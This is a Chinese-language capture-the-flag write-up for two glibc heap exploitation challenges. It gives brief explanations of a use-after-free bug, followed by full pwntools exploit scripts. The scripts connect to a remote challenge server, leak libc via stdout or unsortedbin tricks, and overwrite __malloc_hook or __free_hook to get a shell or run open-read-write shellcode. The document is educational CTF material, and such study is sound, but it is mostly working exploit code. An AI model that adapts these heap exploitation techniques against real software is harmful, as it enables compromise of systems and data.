前言:
就, 除了vmpwn都是基础glibc的heap题
king_in_heap_1:
delete函数没有把free后的指针置零, 存在uaf, 然后用unsortedbin的fd指向io结构体泄露libc, 然后mallochook上用realloc调整一下, 打onegadget就完事了
#!/usr/bin/env python
# coding=utf-8
from pwn import *
sh=remote('47.104.175.110',20066)
#sh=process('./king')
elf=ELF('./king')
libc=elf.libc
context.binary=elf
#context.log_level='debug'
def magic():
sh.recvuntil(">> \n")
sh.sendline("666")
def add(idx, size):
sh.recv()
sh.sendline('1')
sh.recv()
sh.sendline(str(idx))
sh.recv()
sh.sendline(str(size))
def delete(idx):
sh.recv()
sh.sendline('2')
sh.recv()
sh.sendline(str(idx))
def edit(idx, content):
sh.recv()
sh.sendline("3")
sh.recv()
sh.sendline(str(idx))
sh.recv()
sh.sendline(content)
def exp():
magic()
leak=int(sh.recv(8), 16)
stdout=leak+0x36fdcd
log.success("leak: "+hex(leak))
add(0, 0x60)
add(1, 0x60)
add(2, 0xa0)
add(3, 0x60)
delete(2)
add(4, 0x60) #from unsorted
edit(4, p8(stdout&0xff)+p16(stdout>>8))
delete(0)
delete(1)
edit(1, p8(0xe0))
add(5, 0x60)
add(6, 0x60)
add(7, 0x60)
payload=p8(0)*3+p64(0)*6+p64(0xfbad1800)+p64(0)*3+p8(0)
edit(7, payload)
leak_libc=u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
log.success("leak libc: "+hex(leak_libc))
libc_base=(leak_libc&0xfffffffff000)-0x1000-0x3c4000
log.success("libc base: "+hex(libc_base))
system_addr=libc_base+libc.sym['system']
one_gadget=[0x45226, 0x4527a, 0xf03a4, 0xf1247]
add(8, 0x60)
delete(8)
edit(8, p64(libc_base+0x3c4aed))
add(9, 0x60)
add(10, 0x60)
payload2=p8(0)*3+p64(0)+p64(one_gadget[1]+libc_base)+p64(libc.sym['__libc_realloc']+libc_base+12)
#gdb.attach(sh, '''b *$rebase(0xc04)''')
edit(10, payload2)
#gdb.attach(sh, '''b *$rebase(0xc04)''')
add(0, 0)
sh.interactive()
exp()
king_in_heap_2:
依旧是未置零导致的uaf, 这次可以先利用tc的机制控制部分tc结构体, 然后构造出unsortedbin直接泄露, 最后就是简单orw了
#!/usr/bin/env python
# coding=utf-8
from pwn import *
#sh=process('./king')
sh=remote('47.104.175.110',61608)
elf=ELF('./king')
libc=elf.libc
context.binary=elf
context.log_level='debug'
def add(idx, size):
sh.recvuntil('>> \n')
sh.sendline('1')
sh.recvuntil('input index:\n')
sh.sendline(str(idx))
sh.recvuntil('input size:\n')
sh.sendline(str(size))
def delete(idx):
sh.recvuntil('>> \n')
sh.sendline('2')
sh.recvuntil('input index:\n')
sh.sendline(str(idx))
def edit(idx, content):
sh.recvuntil('>> \n')
sh.sendline('3')
sh.recvuntil('input index:\n')
sh.sendline(str(idx))
sh.recvuntil('input context:\n')
sh.send(content)
def show(idx):
sh.recvuntil('>> \n')
sh.sendline('4')
sh.recvuntil('input index:\n')
sh.sendline(str(idx))
def exp():
#gdb.attach(sh, '''b *$rebase(0xd7c)''')
add(0, 0x50)
add(1, 0x50)
add(2, 0x20)
add(3, 0x60)
delete(0)
delete(1)
show(1)
leak_heap=u64(sh.recv(6).ljust(8, '\x00'))
log.success('leak heap: '+hex(leak_heap))
next_heap=leak_heap+0xc0
tc_addr=leak_heap-0xf60
log.success('tc addr: '+hex(tc_addr))
delete(3)
edit(3, p64(tc_addr))
add(4, 0x60)
add(5, 0x60) #5->TC
payload1=p64(0x200000002)+p64(0)+p64(0x707070707070707)*6
edit(5, payload1)
#add(6, 0x40)
edit(1, p64(next_heap))
add(0, 0x30)
add(1, 0x30)
add(1, 0x30)
add(1, 0x30)
add(1, 0x30)
add(1, 0x30)
add(6, 0x50)
add(7, 0x50)
payload2=p64(0)*5+p64(0x141)
edit(7, payload2)
delete(0)
show(0)
leak=u64(sh.recv(6).ljust(8, '\x00'))
libc_base=leak-0x3ebca0
log.success('libc base: '+hex(libc_base))
add(8, 0x50)#control regs
add(9, 0x50)#control regs
add(11, 0x50)#shellcode
add(10, 0x10)
delete(10)
edit(10, p64(libc_base+libc.sym['__free_hook']))
add(10, 0x10)
add(10, 0x10)#free hook
edit(10, p64(libc_base+libc.sym['setcontext']+53))
shellcode_addr=tc_addr+0x1110
payload3=p64(0)*5*2
payload4=p64(0)+p64(tc_addr-0x10)+p64(0x10000)*2+p64(0x10000)+p64(0x7)+p64(shellcode_addr+0x800)\
+p64(0x7)+p64(shellcode_addr)+p64(libc_base+libc.sym['mprotect'])
payload5=p64(shellcode_addr+8)
shellcode='''
mov rsi, 0x67616c662f2e
push rsi
mov rdi, rsp
mov rax, 2
xor rsi, rsi
syscall
mov rdi, rax
xor rax, rax
mov rsi, %d
mov rdx, 0x50
syscall
mov rax, 1
mov rdi, 1
syscall
'''%(tc_addr)
payload5+=asm(shellcode)
edit(8, payload3)
edit(9, payload4)
edit(11, payload5)
#gdb.attach(sh)
delete(8)
sh.interactive()
exp()